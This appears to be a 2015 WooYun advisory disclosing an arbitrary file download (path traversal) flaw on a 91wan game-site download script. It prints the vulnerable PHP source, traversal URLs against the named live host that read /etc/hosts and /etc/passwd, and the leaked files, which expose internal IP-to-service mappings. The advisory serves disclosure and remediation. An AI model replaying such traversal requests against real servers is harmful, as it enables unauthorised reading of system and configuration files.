当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0115420

漏洞标题:91wan某站点任意文件下载

相关厂商:广州维动网络

漏洞作者: lijiejie

提交时间:2015-05-21 22:23

修复时间:2015-05-26 22:24

公开时间:2015-05-26 22:24

漏洞类型:任意文件遍历/下载

危害等级:中

自评Rank:8

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-21: 细节已通知厂商并且等待厂商处理中
2015-05-26: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

91wan某站点任意文件下载

详细说明:

任意文件下载:

http://lwjs.91wan.com/huodong/bizhi/download.php?f=../../../huodong/bizhi/download.php


源代码:

<?php
$filename = $_GET['f'];
$filepath = './desktop/'.$filename;
$filename = rawurlencode($filename);

if (file_exists($filepath)) {
$filename = $filename ? $filename : basename($filepath);
$filetype = trim(substr(strrchr($filename, '.'), 1));
$filesize = filesize($filepath);
header('Cache-control: max-age=31536000');
header('Expires: '.gmdate('D, d M Y H:i:s', time() + 31536000).' GMT');
header('Content-Encoding: none');
header('Content-Length: '.$filesize);
header('Content-Disposition: attachment; filename='.$filename);
header('Content-Type: '.$filetype.'; charset=utf-8');
readfile($filepath);
exit;
}
?>

漏洞证明:

读hosts:
http://lwjs.91wan.com/huodong/bizhi/download.php?f=../../../../../../../etc/hosts

192.168.1.14  passport.91wan.com
192.168.1.234 datacenter1.91wan.com
192.168.1.235 datacenter2.91wan.com
192.168.1.22 datacenter3.91wan.com
192.168.1.23 datacenter4.91wan.com
192.168.1.17 bbs.91wan.com
192.168.1.14 login.91wan.com
192.168.1.11 cms.weedong.com
192.168.1.33 api.weedong.com
192.168.1.15 pay.91wan.com
121.10.246.156 center.yxwz.com
115.182.57.148 91tool.lq.the9.com
192.168.1.16 kf.91wan.com
115.238.100.45 91wan.admin.mccq.com
116.28.63.170 user.test.by.91wan.com


读passwd:

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
oprofile:x:16:16:Special user account to be used by OProfile:/home/oprofile:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
avahi:x:70:70:Avahi daemon:/:/sbin/nologin
xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:4294967294:4294967294:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
avahi-autoipd:x:100:104:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin
sabayon:x:86:86:Sabayon user:/home/sabayon:/sbin/nologin
www:x:80:80::/home/www:/sbin/nologin
nagios:x:500:500::/usr/local/nagios:/sbin/nologin
mysql:x:501:501::/usr/local/mysql/var:/sbin/nologin
91wan:x:502:502::/www/html/:/sbin/nologin
soft91wan:x:503:502::/www/html/soft.91wan.com:/sbin/nologin
ossec:x:504:503::/var/ossec:/sbin/nologin

修复方案:

参数过滤,不允许跨父目录

版权声明:转载请注明来源 lijiejie@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-05-26 22:24

厂商回复:

漏洞Rank:8 (WooYun评价)

最新状态:

2015-05-27:几天前已经看到漏洞,但由于与乌云的沟通问题,账号无法登陆,导致漏洞公开,感谢白帽子,漏洞已经修复。